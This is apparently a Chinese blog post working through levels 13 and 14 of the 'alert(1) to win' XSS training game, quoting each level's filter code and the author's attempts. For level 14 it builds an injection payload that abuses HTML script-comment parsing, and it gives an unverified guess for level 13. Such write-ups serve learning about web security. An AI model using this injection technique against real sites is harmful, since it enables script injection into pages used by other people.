【20171027中】alert(1) to win 第13,14,15,16题

  第13题

  题目:

 

function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.

  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}

  分析:

  这题老黑没解出来,只知道答案是name='youWon',根据网上的答案可知每个frame都有一个全局对象window,而name是window的成员属性,存储窗口的名称。老黑猜测输入name='youWon'会触发alert(1),但是实验网址没有提示。

   第14题

  题目:

 

 1 function escape(s) {
 2   function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
 3   function html(s) { return s.replace(/[<>"&]/g, function(s) {
 4                         return '&#' + s.charCodeAt(0) + ';'; }); }
 5 
 6   return (
 7     '<script>' +
 8       'var url = ' + json(s) + '; // We\'ll use this later ' +
 9     '</script>\n\n' +
10     '  <!-- for debugging -->\n' +
11     '  URL: ' + html(s) + '\n\n' +
12     '<!-- then suddenly -->\n' +
13     '<script>\n' +
14     '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
15     '  else new Image().src = url;\n' +
16     '</script>'
17   );
18 }

  分析:

  触发alert(1)的地方在第11行,所以要构造在<script></script>的payload。

  TRY:

  第一次:"alert(1);"   失败!

  第二次:查阅资料,知道html5的"script data escaped state"特性,使用<!--<script>,可以令解析器将此句后边的东西当做JS,可以实现闭合第9行的</script>,因此构造payload="alert(1);<!--<script>",结果显示如下:

   

 1 <script>var url = "alert(1);<!--<script>"; // We'll use this later </script>
 2 
 3   <!-- for debugging -->
 4   URL: alert(1);&#60;!--&#60;script&#62;
 5 
 6 <!-- then suddenly -->
 7 <script>
 8   if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
 9   else new Image().src = url;
10 </script>

   目前实际有效的代码是:

 

1 <script>var url = "alert(1);
2 
3   <!-- for debugging -->
4   URL: alert(1);
5 <!-- then suddenly -->
6 <script>
7   if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
8   else new Image().src = url;
9 </script>

 但是还是有问题,第6行的<script>标签还有作用,而且语法报错!

  第三次:payload=“alert(1);/*<!--<script>*/if(/a//*”,语法通过,会成为这样:

   

 1 <script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*"; // We'll use this later </script>
 2 
 3   <!-- for debugging -->
 4   URL: alert(1);/*&#60;!--&#60;script&#62;*/if(/a//*
 5 
 6 <!-- then suddenly -->
 7 <script>
 8   if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
 9   else new Image().src = url;
10 </script>

  去除无效代码如下:

 

1 <script>var url = "alert(1);"
2 
3   <!-- for debugging -->
4   URL: alert(1);
5   if(/a/.test(url)) console.log("Bad url: " + url);
6   else new Image().src = url;
7 </script>

 PS:以上是老黑自己的理解,仅供参考。

 

  第15,16题,我并不理解答案,等以后知识足够的时候,再攻克这两个难题。网上解释的链接,你过来啊

  虽然今天下午解决了两个题,但是也浪费了太多时间,效率太低,而且自制力不够,注意力不够集中,今天的表现很不满意。

 

posted @ 2017-10-27 18:57  黑楼绝  阅读(292)  评论(0编辑  收藏  举报